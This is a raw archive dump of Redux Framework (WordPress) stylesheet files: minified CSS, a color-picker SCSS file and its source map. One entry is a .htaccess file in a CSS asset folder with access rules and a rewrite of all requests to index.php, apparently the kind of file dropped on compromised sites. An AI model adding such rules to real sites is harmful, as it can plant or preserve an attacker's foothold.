#e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.redux-container-slider .redux-slider-container{margin-left:25px;margin-right:25px;width:200px;display:inline-block;vertical-align:middle}.redux-container-slider .redux-slider-input,.redux-container-slider .redux-slider-select-one,.redux-container-slider .redux-slider-select-two{width:100px!important;text-align:center}.redux-container-slider .redux-slider-label{position:absolute;margin-left:-5px}.redux-container-slider .redux-slider-label-one{position:absolute;margin-left:-22px}.redux-container-slider .redux-slider-label-two{position:absolute;margin-top:-21px;margin-left:245px}@media screen and (max-width:782px){.redux-container-slider input{display:inline-block!important}}@media screen and (max-width:570px){.redux-container-slider{text-align:center}.redux-container-slider .redux-slider-label,.redux-container-slider .select2-container,.redux-container-slider input,.redux-container-slider select{display:block!important;position:inherit;margin:10px auto}.redux-container-slider .redux-slider-container{margin-top:3px;width:80%}}.wp-customizer .redux-container-slider .redux-slider-label{float:left;position:inherit;width:25%;text-align:center;margin-left:0}.wp-customizer .redux-container-slider .redux-slider-input,.wp-customizer .redux-container-slider .redux-slider-select-one,.wp-customizer .redux-container-slider .redux-slider-select-two{width:25%!important}.wp-customizer .redux-container-slider .redux-slider-container{width:70%;margin-right:0;margin-left:5%}.noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;-ms-user-select:none;-moz-user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-base{width:100%;height:100%;position:relative}.noUi-origin{position:absolute;right:0;top:0;left:0;bottom:0}.noUi-handle{position:relative;z-index:1}.noUi-stacking .noUi-handle{z-index:10}.noUi-state-tap .noUi-origin{-webkit-transition:left .3s,top .3s;transition:left .3s,top .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-horizontal{height:18px}.noUi-horizontal .noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.noUi-horizontal.noUi-extended{padding:0 15px}.noUi-horizontal.noUi-extended .noUi-origin{right:-15px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.noUi-vertical.noUi-extended{padding:15px 0}.noUi-vertical.noUi-extended .noUi-origin{bottom:-15px}.noUi-background{background:#fafafa;box-shadow:inset 0 1px 1px #f0f0f0}.noUi-connect{background:#3fb8af;box-shadow:inset 0 0 3px rgba(51,51,51,.45);-webkit-transition:background 450ms;transition:background 450ms}.noUi-origin{border-radius:2px}.noUi-target{border-radius:4px;border:1px solid #d3d3d3;box-shadow:inset 0 1px 1px #f0f0f0,0 3px 6px -5px #bbb}.noUi-target.noUi-connect{box-shadow:inset 0 0 3px rgba(51,51,51,.45),0 3px 6px -5px #bbb}.noUi-dragable{cursor:w-resize}.noUi-vertical .noUi-dragable{cursor:n-resize}.noUi-handle{border:1px solid #d9d9d9;border-radius:3px;background:#fff;cursor:default;box-shadow:inset 0 0 1px #fff,inset 0 1px 7px #ebebeb,0 3px 6px -3px #bbb}.noUi-active{box-shadow:inset 0 0 1px #fff,inset 0 1px 7px #ddd,0 3px 6px -3px #bbb}.noUi-handle:after,.noUi-handle:before{content:"";display:block;position:absolute;height:14px;width:1px;background:#e8e7e6;left:14px;top:6px}.noUi-handle:after{left:17px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:14px;height:1px;left:6px;top:14px}.noUi-vertical .noUi-handle:after{top:17px}[disabled] .noUi-connect,[disabled].noUi-connect{background:#b8b8b8}[disabled] .noUi-handle{cursor:not-allowed}.noUi-state-blocked .noUi-connect,.noUi-state-blocked.noUi-connect{background:#4fdacf}.redux-container-slides .redux-slides-list .select2-container{margin-bottom:10px;width:100%}.redux-container-slides .ui-accordion-header{margin-bottom:0}.redux-container-slides .full-text,.redux-container-slides .large-text{width:100%}.redux-container-slides .redux-slides-accordion-group{border:1px solid #dfdfdf!important;border-radius:3px!important;margin-top:0!important;margin-bottom:10px;background:#f9f9f9;padding:5px}.redux-container-slides .redux-slides-accordion-group h3{border:1px solid #dfdfdf;cursor:move!important;font-weight:700;padding:0 10px!important;height:40px;line-height:40px!important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top,#f9f9f9,#ececec);background-image:-moz-linear-gradient(top,#f9f9f9,#ececec);background-image:-o-linear-gradient(top,#f9f9f9,#ececec);background-image:-webkit-gradient(linear,left top,left bottom,from(#f9f9f9),to(#ececec));background-image:-webkit-linear-gradient(top,#f9f9f9,#ececec);background-image:linear-gradient(top,#f9f9f9,#ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-slides #redux-slides-accordion .redux-slides-image{height:250px;padding:5px;margin-top:10px;margin-bottom:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-container-slides .redux-slides-add{float:right;margin-right:10%;display:block;margin-bottom:10px}.redux-container-slides .redux-slides-remove{color:#ef521d!important;float:right;margin-top:5px}.redux-container-slides .redux-slides-header{font-weight:700}.redux-container-slides .redux_slides_add_remove{margin-bottom:10px}.redux-container-slides input{width:100%!important}.wp-customizer .redux-container-slides .ui-accordion .ui-accordion-content{padding:10px}.redux-container-sortable i.el{cursor:move}.redux-container-sortable label{margin-right:10px;width:300px}.redux-container-sortable label.bugger{margin-bottom:0!important;font-size:12px!important;color:#999}.redux-container-sortable input{margin-right:10px}.redux-container-sortable .checkbox-container{width:364px}.redux-container-sortable .checkbox-container .drag{float:right;margin-left:10px}.redux-container-sortable ul.labeled li{line-height:1.4em!important}.redux-container-sortable li{line-height:30px!important}.redux-container-sortable li.ui-state-highlight{height:30px;width:364px;margin-bottom:13px}.redux-container-sortable li.placeholder{height:30px;margin:10px 0}.wp-customizer .redux-sortable input[type=text]{width:92%}.wp-customizer .redux-sortable i.el{margin-left:5px}.wp-customizer .redux-container-sortable .checkbox-container{width:inherit}.wp-customizer .redux-container-sortable .ui-draggable-handle{margin-left:3%}.redux-container-sorter{margin-right:-20px}.redux-container-sorter ul{background:#f9f9f9;border:1px solid #e3e3e3;min-height:40px;padding:10px 10px 0;width:145px;float:left;margin:0 15px 0 0}.redux-container-sorter ul.filled{opacity:.7;background:#efecec}.redux-container-sorter ul li{border:1px solid #dfdfdf;cursor:move;font-weight:700;margin-bottom:10px!important;padding:0 10px;height:40px;line-height:40px!important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top,#f9f9f9,#ececec);background-image:-moz-linear-gradient(top,#f9f9f9,#ececec);background-image:-o-linear-gradient(top,#f9f9f9,#ececec);background-image:-webkit-gradient(linear,left top,left bottom,from(#f9f9f9),to(#ececec));background-image:-webkit-linear-gradient(top,#f9f9f9,#ececec);background-image:linear-gradient(top,#f9f9f9,#ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-sorter ul li h3{margin:0 0 10px;text-align:center;color:#777;text-transform:capitalize;word-wrap:break-word}.redux-container-sorter ul li.placeholder{height:40px}.wp-customizer .redux-container-sorter ul{width:85%;margin:0 0 5px 0}.redux-container-spacing .select_wrapper,.redux-container-spacing select{width:80px!important;float:left}.redux-container-spacing .field-spacing-input{margin-right:10px;margin-bottom:7px}@media screen and (max-width:782px){.redux-container-spacing .field-spacing-input input{display:inline-block!important;width:70px!important}.redux-container-spacing .field-spacing-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-container-spacing .select_wrapper{margin-top:6px}}.redux-container-spinner .spinner-wrpr{position:relative;display:block;height:30px;overflow:hidden}.redux-container-spinner .spinner-wrpr .spinner-input{position:relative!important;z-index:1;width:45px!important;height:30px!important;background:#e7e7e7!important;border:1px solid #bfbfbf!important;border-right:0!important;border-left:0!important;-webkit-border-radius:0!important;-moz-border-radius:0!important;border-radius:0!important}.redux-container-spinner .ui-spinner{position:static;display:inline}.redux-container-spinner .ui-spinner-buttons{position:absolute;padding:0}.redux-container-spinner .ui-widget .ui-spinner-button{position:absolute;top:0;padding:0 0 30px;overflow:hidden;cursor:pointer;background:-moz-linear-gradient(#fff,#f3f3f3);background:-o-linear-gradient(#fff,#f3f3f3);background:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f3f3f3));background:linear-gradient(#fff,#f3f3f3);background-color:#fff;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.redux-container-spinner .ui-spinner-button:hover,.redux-container-spinner .ui-state-hover{background:-moz-linear-gradient(#f3f3f3,#fff);background:-o-linear-gradient(#f3f3f3,#fff);background:-webkit-gradient(linear,left top,left bottom,from(#f3f3f3),to(#fff));background:linear-gradient(#f3f3f3,#fff);background-color:#f3f3f3}.redux-container-spinner .ui-corner-tr,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{-webkit-border-radius:0 5px 5px 0;-moz-border-radius:0 5px 5px 0;border-radius:0 5px 5px 0}.redux-container-spinner .ui-corner-br,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{-webkit-border-radius:5px 0 0 5px;-moz-border-radius:5px 0 0 5px;border-radius:5px 0 0 5px}.redux-container-spinner .ui-spinner-button .ui-icon{top:0;display:block;width:28px;height:28px;margin:0;border:1px solid #b7b7b7}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat!important}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat!important}.redux-container-switch .switch-options{min-height:30px;margin-right:10px}.redux-container-switch .switch-options label{cursor:pointer}.redux-container-switch .switch-options input{display:none}.redux-container-switch .cb-disable,.redux-container-switch .cb-enable{padding:0 10px;border-width:1px;border-style:solid;-webkit-appearance:none;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.redux-container-switch .cb-disable span,.redux-container-switch .cb-enable span{line-height:30px;display:block;font-weight:700;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}.redux-container-switch .cb-disable,.redux-container-switch .cb-disable span,.redux-container-switch .cb-enable,.redux-container-switch .cb-enable span{display:block;float:left}.redux-container-switch .cb-enable{border-right:0;border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px}.redux-container-switch .cb-enable.selected{color:#fff}.redux-container-switch .cb-disable{border-left:0;border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0}.redux-container-switch .cb-disable.selected{color:#fff}.redux-container-text label{display:block;position:relative;font-size:12px!important;text-align:left;color:#999;margin:4px 0 2px 0!important;cursor:default;top:5px;width:100px}.redux-container-text input{clear:left}.redux-container-text .input_wrapper{display:block;position:relative;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:left;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.wp-customizer .redux-container-text .input_wrapper{width:100%;max-width:100%;height:auto}.redux-main .redux-typography-container{display:block;position:relative;margin:0;padding:0;width:100%;max-width:660px}.redux-main .redux-typography-container .clearfix{clear:both}.redux-main .redux-typography-container .clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.redux-main .redux-typography-container .redux-typography-color,.redux-main .redux-typography-container input.wp-picker-default{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;height:24px;padding:0 14px!important;margin-top:0;margin-bottom:0;margin-left:4px!important;font-size:12px!important}.redux-main .redux-typography-container .select_wrapper{display:block;position:relative;float:left;clear:none;margin:0 10px 0 0;width:48%!important;min-width:210px!important;max-width:324px!important;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.redux-main .redux-typography-container .select_wrapper:nth-child(odd){margin-right:10px!important}.redux-main .redux-typography-container .select_wrapper:nth-child(even){margin-right:10px!important}.redux-main .redux-typography-container .select_wrapper.typography-family .select2-container{width:100%}.redux-main .redux-typography-container .select_wrapper .redux-typography{font-size:14px!important;display:block;float:left;height:28px!important;line-height:50px!important;padding:0!important;width:100%!important;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.redux-main .redux-typography-container .wp-picker-container{float:left;clear:left;margin-bottom:12px;padding:3px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-main .redux-typography-container .input_wrapper{display:block;position:relative;margin:0 4px 0 5px;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:none;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.redux-main .redux-typography-container .input_wrapper.font-size{margin-left:0}.redux-main .redux-typography-container .input_wrapper input.mini{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:78%;text-align:center;margin:0;height:28px;top:3px;padding:0 2px 0 5px;text-decoration:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .redux-typography-container .picker-wrapper{display:block;display:block;position:relative;margin:0 4px 0 5px;margin:0;padding:0;width:23%;width:100%;max-width:23%;min-width:70px;min-width:100%;clear:none;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.redux-main .redux-typography-container label{display:block;position:relative;font-size:12px!important;text-align:left;color:#999;margin:4px 0 2px 0!important;cursor:default}.redux-main .redux-typography-container .typography-preview{display:none;width:100%;border:1px dotted #d3d3d3;max-width:850px;padding:10px;font-size:10pt;height:auto;margin:5px 0 10px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;overflow:hidden}.redux-main .redux-typography-container .typography-color{border:0 none;margin:0}.redux-main .redux-typography-container ::-webkit-input-placeholder{line-height:19px}@media screen and (max-width:540px){.redux-main .redux-main .redux-typography-container{max-width:230px;margin:0 auto}.redux-main .redux-main .redux-typography-container .select_wrapper{max-width:210px;min-width:210px;width:210px;margin-left:0!important;margin-right:0!important}.redux-main .redux-main .redux-typography-container .input_wrapper{max-width:101px;min-width:101px;width:101px;margin-left:0!important;margin-right:5px!important}.redux-main .redux-main .redux-typography-container .input_wrapper input.mini{width:73%}.redux-main .redux-main .redux-typography-container .input-append .add-on{width:30%;padding:5px!important}.redux-main .redux-main .redux-main .wp-picker-container .wp-picker-input-wrap{margin-top:7px}}@media screen and (max-width:360px){.redux-main .redux-typography-container .iris-picker .iris-square{margin-right:3%}}.wp-customizer .redux-typography-container .input_wrapper{width:40%;max-width:40%;min-width:20%}.wp-customizer .redux-typography-container .input_wrapper input.mini{width:70%}.wp-customizer .redux-typography-container .select_wrapper{width:100%!important}.redux-main input.redux-color{float:left;width:70px;margin-left:5px}.redux-main input.color-transparency{margin-left:10px;margin-right:3px}.redux-main input.wp-color-picker{width:80px!important}.redux-main .section-color .controls{width:345px}.redux-main .section-color .explain{width:225px}.redux-main .iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0 0!important;right:-3px;left:-3px;border:4px solid #aaa!important;border-width:4px 3px;width:auto;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.redux-main .iris-picker .iris-slider-offset{position:absolute;top:2px;left:0;right:0;bottom:4px;width:28px;background:0 0!important;border:0!important;height:auto}.redux-main .wp-picker-container{display:inline-block;outline:0}.redux-main .wp-picker-container input{margin-bottom:inherit;margin-top:inherit;padding:3px 5px}.redux-main .wp-picker-container .wp-color-result{outline:0;margin:0;height:24px!important;margin:0 6px 6px 0!important}.redux-main .wp-picker-container .wp-picker-default{padding:0 10px 1px}.redux-main .wp-picker-container .wp-color-result-text{line-height:22px}.redux-main .redux-color-gradient{line-height:24px}.redux-main .color-transparency-check{line-height:1;margin:0!important;padding-top:10px}.redux-main .wp-picker-clear{margin-top:0!important}.wp-customizer .redux-main .redux-typography-container .redux-typography-color,.wp-customizer .redux-main .redux-typography-container input.wp-picker-default,.wp-customizer .redux-main input.wp-picker-default{padding:0 4px!important}.wp-customizer .redux-main input.wp-color-picker{width:65px!important;margin-left:5px!important}.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:700;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial,Verdana,sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80%!important}.redux-main .button{margin-top:2px}lib/redux-framework/assets/css/color-picker/color-picker.css000064400000003236147206624460020241 0ustar00.redux-main input.redux-color{float:left;width:70px;margin-left:5px}.redux-main input.color-transparency{margin-left:10px;margin-right:3px}.redux-main input.wp-color-picker{width:80px !important}.redux-main .section-color .controls{width:345px}.redux-main .section-color .explain{width:225px}.redux-main .iris-picker .iris-strip .ui-slider-handle{position:absolute;background:none !important;right:-3px;left:-3px;border:4px solid #aaa !important;border-width:4px 3px;width:auto;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,0.2);opacity:.9;z-index:5;cursor:ns-resize}.redux-main .iris-picker .iris-slider-offset{position:absolute;top:2px;left:0px;right:0;bottom:4px;width:28px;background:none !important;border:0 !important;height:auto}.redux-main .wp-picker-container{display:inline-block;outline:0}.redux-main .wp-picker-container input{margin-bottom:inherit;margin-top:inherit;padding:3px 5px}.redux-main .wp-picker-container .wp-color-result{outline:0;margin:0;height:24px !important;margin:0 6px 6px 0 !important}.redux-main .wp-picker-container .wp-picker-default{padding:0 10px 1px}.redux-main .wp-picker-container .wp-color-result-text{line-height:22px}.redux-main .redux-color-gradient{line-height:24px}.redux-main .color-transparency-check{line-height:1;margin:0 !important;padding-top:10px}.redux-main .wp-picker-clear{margin-top:0 !important}.wp-customizer .redux-main input.wp-picker-default,.wp-customizer .redux-main .redux-typography-container input.wp-picker-default,.wp-customizer .redux-main .redux-typography-container .redux-typography-color{padding:0px 4px !important}.wp-customizer .redux-main input.wp-color-picker{width:65px !important;margin-left:5px !important} lib/redux-framework/assets/css/color-picker/color-picker.css.map000064400000002212147206624460021006 0ustar00{ "version": 3, "mappings": "AAEQ,6BAAc;EACV,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,WAAW,EAAE,GAAG;AAGpB,oCAAqB;EACjB,WAAW,EAAE,IAAI;EACjB,YAAY,EAAE,GAAG;AAGrB,iCAAkB;EACd,KAAK,EAAE,eAAe;AAK1B,oCAAU;EACN,KAAK,EAAE,KAAK;AAGhB,mCAAS;EACL,KAAK,EAAE,KAAK;AAKhB,sDAA8B;EAC1B,QAAQ,EAAE,QAAQ;EAClB,UAAU,EAAE,eAAe;EAC3B,KAAK,EAAE,IAAI;EACX,IAAI,EAAE,IAAI;EACV,MAAM,EAAE,yBAAyB;EACjC,YAAY,EAAE,OAAO;EACrB,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,GAAG;EAClB,UAAU,EAAE,4BAA2B;EACvC,OAAO,EAAE,EAAE;EACX,OAAO,EAAE,CAAC;EACV,MAAM,EAAE,SAAS;AAGrB,4CAAoB;EAChB,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,GAAG;EACR,IAAI,EAAE,CAAC;EACP,KAAK,EAAE,CAAC;EACR,MAAM,EAAE,GAAG;EACX,KAAK,EAAE,IAAI;EACX,UAAU,EAAE,eAAe;EAC3B,MAAM,EAAE,YAAY;EACpB,MAAM,EAAE,IAAI;AAKhB,sCAAM;EACF,aAAa,EAAE,OAAO;EACtB,UAAU,EAAE,OAAO;EACnB,OAAO,EAAE,OAAO;AAGpB,iDAAiB;EACb,OAAO,EAAE,CAAC;EACV,MAAM,EAAE,CAAC;AAGb,mDAAmB;EACf,OAAO,EAAE,UAAU;AAI3B,iCAAsB;EAClB,WAAW,EAAE,IAAI;AAGrB,qCAA0B;EACtB,WAAW,EAAE,CAAC;EACd,UAAU,EAAE,cAAc;AAG9B,4BAAiB;EACb,UAAU,EAAE,YAAY;;AAK5B,kNAAsK;EAClK,OAAO,EAAE,kBAAkB;AAE/B,gDAAkC;EAC9B,KAAK,EAAE,eAAe;EACtB,WAAW,EAAE,cAAc", "sources": ["color-picker.scss"], "names": [], "file": "color-picker.css" }lib/redux-framework/assets/css/color-picker/color-picker.scss000064400000004454147206624460020427 0ustar00.redux-main { input{ &.redux-color { float: left; width: 70px; margin-left: 5px; } &.color-transparency { margin-left: 10px; margin-right: 3px; } &.wp-color-picker { width: 80px !important; } } .section-color { .controls { width: 345px; } .explain { width: 225px; } } .iris-picker { .iris-strip .ui-slider-handle { position: absolute; background: none !important; right: -3px; left: -3px; border: 4px solid #aaa !important; border-width: 4px 3px; width: auto; border-radius: 4px; box-shadow: 0 1px 2px rgba(0, 0, 0, .2); opacity: .9; z-index: 5; cursor: ns-resize; } .iris-slider-offset { position: absolute; top: 2px; left: 0px; right: 0; bottom: 4px; width: 28px; //17 background: none !important; border: 0 !important; height: auto; } } .wp-picker-container { display: inline-block; outline: 0; input { margin-bottom: inherit; margin-top: inherit; padding: 3px 5px; } .wp-color-result { outline: 0; margin: 0; height: 24px!important; margin: 0 6px 6px 0!important; } .wp-picker-default { padding: 0 10px 1px; } .wp-color-result-text { line-height: 22px; } } .redux-color-gradient { line-height: 24px; } .color-transparency-check { line-height: 1; margin: 0!important; padding-top: 10px; } .wp-picker-clear { margin-top: 0 !important; } } .wp-customizer { .redux-main input.wp-picker-default, .redux-main .redux-typography-container input.wp-picker-default, .redux-main .redux-typography-container .redux-typography-color { padding: 0px 4px !important; } .redux-main input.wp-color-picker { width: 65px !important; margin-left: 5px !important; } }lib/redux-framework/assets/css/color-picker/.htaccess000064400000001626147206624460016735 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/redux-vendor.css000064400000104212147206624460015675 0ustar00.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:10.5px;line-height:12px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;padding:5px 9px;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;padding:5px 35px 5px 10px;overflow:hidden;border-width:0 0 1px;font-weight:700}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{position:absolute;right:-9px;top:-9px;cursor:pointer;outline:0;border-width:1px;border-style:solid;border-color:transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{border-width:1px;border-style:solid;border-color:#F1D031;background-color:#FFFFA3;color:#555}.qtip-default .qtip-titlebar{background-color:#FFEF93}.qtip-default .qtip-icon{border-color:#CCC;background:#F1F1F1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#AAA;color:#111}/*! Light tooltip style */.qtip-light{background-color:#fff;border-color:#E2E2E2;color:#454545}.qtip-light .qtip-titlebar{background-color:#f1f1f1}/*! Dark tooltip style */.qtip-dark{background-color:#505050;border-color:#303030;color:#f3f3f3}.qtip-dark .qtip-titlebar{background-color:#404040}.qtip-dark .qtip-icon{border-color:#444}.qtip-dark .qtip-titlebar .ui-state-hover{border-color:#303030}/*! Cream tooltip style */.qtip-cream{background-color:#FBF7AA;border-color:#F9E98E;color:#A27D35}.qtip-cream .qtip-titlebar{background-color:#F0DE7D}.qtip-cream .qtip-close .qtip-icon{background-position:-82px 0}/*! Red tooltip style */.qtip-red{background-color:#F78B83;border-color:#D95252;color:#912323}.qtip-red .qtip-titlebar{background-color:#F06D65}.qtip-red .qtip-close .qtip-icon{background-position:-102px 0}.qtip-red .qtip-icon,.qtip-red .qtip-titlebar .ui-state-hover{border-color:#D95252}/*! Green tooltip style */.qtip-green{background-color:#CAED9E;border-color:#90D93F;color:#3F6219}.qtip-green .qtip-titlebar{background-color:#B0DE78}.qtip-green .qtip-close .qtip-icon{background-position:-42px 0}/*! Blue tooltip style */.qtip-blue{background-color:#E5F6FE;border-color:#ADD9ED;color:#5E99BD}.qtip-blue .qtip-titlebar{background-color:#D0E9F5}.qtip-blue .qtip-close .qtip-icon{background-position:-2px 0}.qtip-shadow{-webkit-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);-moz-box-shadow:1px 1px 3px 1px rgba(0,0,0,.15);box-shadow:1px 1px 3px 1px rgba(0,0,0,.15)}.qtip-bootstrap,.qtip-rounded,.qtip-tipsy{-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.qtip-rounded .qtip-titlebar{-moz-border-radius:4px 4px 0 0;-webkit-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.qtip-youtube{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 3px #333;-moz-box-shadow:0 0 3px #333;box-shadow:0 0 3px #333;color:#fff;border-width:0;background:#4A4A4A;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,#4A4A4A),color-stop(100%,#000));background-image:-webkit-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-moz-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-ms-linear-gradient(top,#4A4A4A 0,#000 100%);background-image:-o-linear-gradient(top,#4A4A4A 0,#000 100%)}.qtip-youtube .qtip-titlebar{background-color:transparent}.qtip-youtube .qtip-content{padding:.75em;font:12px arial,sans-serif;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr=#4a4a4a, EndColorStr=#000000);-ms-filter:"progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=#4a4a4a,EndColorStr=#000000);"}.qtip-youtube .qtip-icon{border-color:#222}.qtip-youtube .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-jtools{background:#232323;background:rgba(0,0,0,.7);background-image:-webkit-gradient(linear,left top,left bottom,from(#717171),to(#232323));background-image:-moz-linear-gradient(top,#717171,#232323);background-image:-webkit-linear-gradient(top,#717171,#232323);background-image:-ms-linear-gradient(top,#717171,#232323);background-image:-o-linear-gradient(top,#717171,#232323);border:2px solid #ddd;border:2px solid rgba(241,241,241,1);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 12px #333;-moz-box-shadow:0 0 12px #333;box-shadow:0 0 12px #333}.qtip-jtools .qtip-titlebar{background-color:transparent;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171, endColorstr=#4A4A4A);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"}.qtip-jtools .qtip-content{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A, endColorstr=#232323);-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"}.qtip-jtools .qtip-content,.qtip-jtools .qtip-titlebar{background:0 0;color:#fff;border:0 dashed transparent}.qtip-jtools .qtip-icon{border-color:#555}.qtip-jtools .qtip-titlebar .ui-state-hover{border-color:#333}.qtip-cluetip{-webkit-box-shadow:4px 4px 5px rgba(0,0,0,.4);-moz-box-shadow:4px 4px 5px rgba(0,0,0,.4);box-shadow:4px 4px 5px rgba(0,0,0,.4);background-color:#D9D9C2;color:#111;border:0 dashed transparent}.qtip-cluetip .qtip-titlebar{background-color:#87876A;color:#fff;border:0 dashed transparent}.qtip-cluetip .qtip-icon{border-color:#808064}.qtip-cluetip 